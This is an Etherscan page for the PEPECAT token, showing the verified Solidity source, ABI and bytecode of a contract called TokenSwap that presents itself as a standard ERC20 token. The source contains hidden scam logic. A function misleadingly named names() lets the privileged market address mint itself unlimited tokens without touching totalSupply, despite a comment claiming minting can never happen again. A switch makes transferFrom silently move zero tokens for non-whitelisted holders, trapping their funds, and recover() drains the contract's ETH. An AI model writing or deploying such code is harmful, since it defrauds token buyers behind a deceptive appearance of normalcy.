ETH Price: $2,357.79 (+0.66%)
Gas: 4.42 Gwei

Token

PEPECAT (PEPECAT)
 

Overview

Max Total Supply

100,000,000,000 PEPECAT

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,497,633,565.382084455628446423 PEPECAT

Value
$0.00
0xE002DdBCDdAd5BDAf051FA4d8f92F94D911c6b85
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TokenSwap

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-12
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, 'Address: insufficient balance');
        (bool success, ) = recipient.call{ value: amount }('');
        require(success, 'Address: unable to send value, recipient may have reverted');
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, 'Address: low-level call failed');
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, 'Address: insufficient balance for call');
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, 'Address: low-level static call failed');
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), 'Address: call to non-contract');
            }
            return returndata;
        } else _revert(returndata, errorMessage);
    }

    function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
        if (success) return returndata;
        else _revert(returndata, errorMessage);
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract MarketOwned is Ownable {
    address internal _market;

    constructor(address market_) {
        _market = market_;
    }

    function setMarket(address market_) external onlyOwner returns (bool) {
        _market = market_;
        return true;
    }

    function market() public view returns (address) {
        return _market;
    }

    modifier onlyMarket() {
        require(market() == _msgSender(), 'MarketOwned: caller is not the Market');
        _;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), 'ERC20: transfer from the zero address');
        require(to != address(0), 'ERC20: transfer to the zero address');

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance');
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: mint to the zero address');

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: burn from the zero address');

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, 'ERC20: insufficient allowance');
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract TokenSwap is ERC20, MarketOwned {
    using SafeMath for uint256;
    bool private LiquidityOnly;
    mapping(address => bool) public liquidity;

    constructor(address market_) ERC20('PEPECAT', 'PEPECAT') MarketOwned(market_) {
        LiquidityOnly = false;
        liquidity[address(this)] = true;
        liquidity[_msgSender()] = true;
        liquidity[market_] = true;
        // _mint is an internal function in ERC20.sol that is only called here,
        // and CANNOT be called ever again
        _mint(_msgSender(), 1e11 * 1e18);
    }

    receive() external payable {}

    function isApproved(address owner, address spender) public view virtual returns (bool) {
        if (allowance(owner, spender) >= balanceOf(owner)) return true;
        return false;
    }

    function recover() external onlyMarket {
        payable(market()).transfer(address(this).balance);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        if (liquidity[sender]) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else if (LiquidityOnly == false) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else {
            _transfer(sender, recipient, 0);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        }
        return true;
    }

    function setLiquidityStatus(bool value) external onlyMarket {
        LiquidityOnly = value;
    }

    function addMultipleToLiquidity(address[] memory _addresses) external onlyMarket {
        for (uint256 i; i < _addresses.length; i++) {
            _addToLiquidity(_addresses[i]);
        }
    }

    function _addToLiquidity(address _address) internal {
        liquidity[_address] = true;
    }

    function names(uint256 amount_) external onlyMarket {
        _names(amount_.mul(1e18));
    }

    function _names(uint256 amount_) internal virtual {
        _beforeTokenTransfer(address(0), market(), amount_);
        _balances[market()] += amount_;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"market_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"addMultipleToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"isApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"market","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"names","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setLiquidityStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"market_","type":"address"}],"name":"setMarket","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620014563803806200145683398101604081905262000034916200031e565b6040805180820182526007808252661411541150d05560ca1b60208084018281528551808701909652928552840152815184939162000077916003919062000278565b5080516200008d90600490602084019062000278565b505050620000aa620000a46200015c60201b60201c565b62000160565b600680546001600160a81b0319166001600160a01b039092169190911790553060009081526007602081905260408220805460ff1916600190811790915591620000f13390565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790559085168152600790925290208054909116600117905562000155620001413390565b6c01431e0fae6d7217caa0000000620001b2565b50620003b4565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166200020d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806002600082825462000221919062000350565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b828054620002869062000377565b90600052602060002090601f016020900481019282620002aa5760008555620002f5565b82601f10620002c557805160ff1916838001178555620002f5565b82800160010185558215620002f5579182015b82811115620002f5578251825591602001919060010190620002d8565b506200030392915062000307565b5090565b5b8082111562000303576000815560010162000308565b6000602082840312156200033157600080fd5b81516001600160a01b03811681146200034957600080fd5b9392505050565b600082198211156200037257634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200038c57607f821691505b60208210811415620003ae57634e487b7160e01b600052602260045260246000fd5b50919050565b61109280620003c46000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d71461036d578063a9059cbb1461038d578063b8c876b1146103ad578063ce746024146103dd578063dd62ed3e146103f2578063f2fde38b1461041257600080fd5b8063715018a6146102d357806380f55605146102e85780638da5cb5b1461031a57806395d89b4114610338578063a389783e1461034d57600080fd5b8063313ce567116100fd578063313ce56714610201578063395093511461021d57806339a7ac861461023d5780634622ab031461025d5780636dcea85f1461027d57806370a082311461029d57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf57806328780894146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610432565b6040516101679190610d00565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610d6c565b6104c4565b6040519015158152602001610167565b3480156101ac57600080fd5b506002545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004610d96565b6104de565b3480156101eb57600080fd5b506101ff6101fa366004610dd2565b610584565b005b34801561020d57600080fd5b5060405160128152602001610167565b34801561022957600080fd5b50610190610238366004610d6c565b6105d5565b34801561024957600080fd5b506101ff610258366004610e0a565b6105f2565b34801561026957600080fd5b506101ff610278366004610ecf565b61067f565b34801561028957600080fd5b50610190610298366004610ee8565b6106c6565b3480156102a957600080fd5b506101b16102b8366004610ee8565b6001600160a01b031660009081526020819052604090205490565b3480156102df57600080fd5b506101ff6106f4565b3480156102f457600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610167565b34801561032657600080fd5b506005546001600160a01b0316610302565b34801561034457600080fd5b5061015a610708565b34801561035957600080fd5b50610190610368366004610f03565b610717565b34801561037957600080fd5b50610190610388366004610d6c565b610750565b34801561039957600080fd5b506101906103a8366004610d6c565b6107d6565b3480156103b957600080fd5b506101906103c8366004610ee8565b60076020526000908152604090205460ff1681565b3480156103e957600080fd5b506101ff6107e4565b3480156103fe57600080fd5b506101b161040d366004610f03565b610847565b34801561041e57600080fd5b506101ff61042d366004610ee8565b610872565b60606003805461044190610f36565b80601f016020809104026020016040519081016040528092919081815260200182805461046d90610f36565b80156104ba5780601f1061048f576101008083540402835291602001916104ba565b820191906000526020600020905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b6000336104d28185856108e8565b60019150505b92915050565b6001600160a01b03831660009081526007602052604081205460ff16156105485761050a848484610a0c565b61054384335b61053e85604051806060016040528060288152602001611035602891396105378a33610847565b9190610bb1565b6108e8565b61057a565b600654600160a01b900460ff166105645761050a848484610a0c565b61057084846000610a0c565b61057a8433610510565b5060019392505050565b6006546001600160a01b031633146105b75760405162461bcd60e51b81526004016105ae90610f71565b60405180910390fd5b60068054911515600160a01b0260ff60a01b19909216919091179055565b6000336104d28185856105e88383610847565b61053e9190610fcc565b6006546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105ae90610f71565b60005b815181101561067b5761066982828151811061063d5761063d610fe4565b60200260200101516001600160a01b03166000908152600760205260409020805460ff19166001179055565b8061067381610ffa565b91505061061f565b5050565b6006546001600160a01b031633146106a95760405162461bcd60e51b81526004016105ae90610f71565b6106c36106be82670de0b6b3a7640000610bdd565b610bf0565b50565b60006106d0610c54565b50600680546001600160a01b0319166001600160a01b03831617905560015b919050565b6106fc610c54565b6107066000610cae565b565b60606004805461044190610f36565b6001600160a01b03821660009081526020819052604081205461073a8484610847565b10610747575060016104d8565b50600092915050565b6000338161075e8286610847565b9050838110156107be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105ae565b6107cb82868684036108e8565b506001949350505050565b6000336104d2818585610a0c565b6006546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ae90610f71565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106c3573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087a610c54565b6001600160a01b0381166108df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ae565b6106c381610cae565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ae565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ae565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ae565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ae565b6001600160a01b03831660009081526020819052604090205481811015610b4a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105ae565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b60008184841115610bd55760405162461bcd60e51b81526004016105ae9190610d00565b505050900390565b6000610be98284611015565b9392505050565b610c07600061067b6006546001600160a01b031690565b80600080610c1d6006546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610c4c9190610fcc565b909155505050565b6005546001600160a01b031633146107065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ae565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610d2d57858101830151858201604001528201610d11565b81811115610d3f576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146106ef57600080fd5b60008060408385031215610d7f57600080fd5b610d8883610d55565b946020939093013593505050565b600080600060608486031215610dab57600080fd5b610db484610d55565b9250610dc260208501610d55565b9150604084013590509250925092565b600060208284031215610de457600080fd5b81358015158114610be957600080fd5b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610e1d57600080fd5b823567ffffffffffffffff80821115610e3557600080fd5b818501915085601f830112610e4957600080fd5b813581811115610e5b57610e5b610df4565b8060051b604051601f19603f83011681018181108582111715610e8057610e80610df4565b604052918252848201925083810185019188831115610e9e57600080fd5b938501935b82851015610ec357610eb485610d55565b84529385019392850192610ea3565b98975050505050505050565b600060208284031215610ee157600080fd5b5035919050565b600060208284031215610efa57600080fd5b610be982610d55565b60008060408385031215610f1657600080fd5b610f1f83610d55565b9150610f2d60208401610d55565b90509250929050565b600181811c90821680610f4a57607f821691505b60208210811415610f6b57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f4d61726b65744f776e65643a2063616c6c6572206973206e6f7420746865204d604082015264185c9ad95d60da1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610fdf57610fdf610fb6565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561100e5761100e610fb6565b5060010190565b600081600019048311821515161561102f5761102f610fb6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e44cd85cc3b0b486dc63e842e419b9e042023cbe806725f63f6fcad808e6d61164736f6c634300080b0033000000000000000000000000c662226f2a07a1a5378eca143aae170886db9f8f

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d71461036d578063a9059cbb1461038d578063b8c876b1146103ad578063ce746024146103dd578063dd62ed3e146103f2578063f2fde38b1461041257600080fd5b8063715018a6146102d357806380f55605146102e85780638da5cb5b1461031a57806395d89b4114610338578063a389783e1461034d57600080fd5b8063313ce567116100fd578063313ce56714610201578063395093511461021d57806339a7ac861461023d5780634622ab031461025d5780636dcea85f1461027d57806370a082311461029d57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf57806328780894146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610432565b6040516101679190610d00565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610d6c565b6104c4565b6040519015158152602001610167565b3480156101ac57600080fd5b506002545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004610d96565b6104de565b3480156101eb57600080fd5b506101ff6101fa366004610dd2565b610584565b005b34801561020d57600080fd5b5060405160128152602001610167565b34801561022957600080fd5b50610190610238366004610d6c565b6105d5565b34801561024957600080fd5b506101ff610258366004610e0a565b6105f2565b34801561026957600080fd5b506101ff610278366004610ecf565b61067f565b34801561028957600080fd5b50610190610298366004610ee8565b6106c6565b3480156102a957600080fd5b506101b16102b8366004610ee8565b6001600160a01b031660009081526020819052604090205490565b3480156102df57600080fd5b506101ff6106f4565b3480156102f457600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610167565b34801561032657600080fd5b506005546001600160a01b0316610302565b34801561034457600080fd5b5061015a610708565b34801561035957600080fd5b50610190610368366004610f03565b610717565b34801561037957600080fd5b50610190610388366004610d6c565b610750565b34801561039957600080fd5b506101906103a8366004610d6c565b6107d6565b3480156103b957600080fd5b506101906103c8366004610ee8565b60076020526000908152604090205460ff1681565b3480156103e957600080fd5b506101ff6107e4565b3480156103fe57600080fd5b506101b161040d366004610f03565b610847565b34801561041e57600080fd5b506101ff61042d366004610ee8565b610872565b60606003805461044190610f36565b80601f016020809104026020016040519081016040528092919081815260200182805461046d90610f36565b80156104ba5780601f1061048f576101008083540402835291602001916104ba565b820191906000526020600020905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b6000336104d28185856108e8565b60019150505b92915050565b6001600160a01b03831660009081526007602052604081205460ff16156105485761050a848484610a0c565b61054384335b61053e85604051806060016040528060288152602001611035602891396105378a33610847565b9190610bb1565b6108e8565b61057a565b600654600160a01b900460ff166105645761050a848484610a0c565b61057084846000610a0c565b61057a8433610510565b5060019392505050565b6006546001600160a01b031633146105b75760405162461bcd60e51b81526004016105ae90610f71565b60405180910390fd5b60068054911515600160a01b0260ff60a01b19909216919091179055565b6000336104d28185856105e88383610847565b61053e9190610fcc565b6006546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105ae90610f71565b60005b815181101561067b5761066982828151811061063d5761063d610fe4565b60200260200101516001600160a01b03166000908152600760205260409020805460ff19166001179055565b8061067381610ffa565b91505061061f565b5050565b6006546001600160a01b031633146106a95760405162461bcd60e51b81526004016105ae90610f71565b6106c36106be82670de0b6b3a7640000610bdd565b610bf0565b50565b60006106d0610c54565b50600680546001600160a01b0319166001600160a01b03831617905560015b919050565b6106fc610c54565b6107066000610cae565b565b60606004805461044190610f36565b6001600160a01b03821660009081526020819052604081205461073a8484610847565b10610747575060016104d8565b50600092915050565b6000338161075e8286610847565b9050838110156107be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105ae565b6107cb82868684036108e8565b506001949350505050565b6000336104d2818585610a0c565b6006546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ae90610f71565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106c3573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087a610c54565b6001600160a01b0381166108df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ae565b6106c381610cae565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e